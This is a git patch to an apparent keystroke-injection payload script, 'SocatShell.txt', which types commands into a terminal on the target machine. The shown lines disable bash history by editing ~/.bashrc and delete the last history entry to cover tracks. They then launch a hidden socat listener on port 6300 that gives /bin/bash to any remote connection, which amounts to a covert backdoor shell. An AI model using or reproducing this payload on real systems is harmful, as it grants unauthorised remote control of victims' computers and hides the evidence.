From c4c5757b655d380e34684386c78650bd0f658fdb Mon Sep 17 00:00:00 2001 From: Narsty Date: Fri, 23 Jun 2023 20:12:18 -0500 Subject: [PATCH] Update SocatShell.txt --- RECON/SocatShell.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/RECON/SocatShell.txt b/RECON/SocatShell.txt index 7e34f6e..c08f823 100644 --- a/RECON/SocatShell.txt +++ b/RECON/SocatShell.txt @@ -26,8 +26,7 @@ STRING terminal DELAY 1000 ENTER DELAY 500 -STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash -history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') +STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }') ENTER DELAY 500 STRING nohup socat TCP-LISTEN:6300 EXEC:/bin/bash &>/dev/null &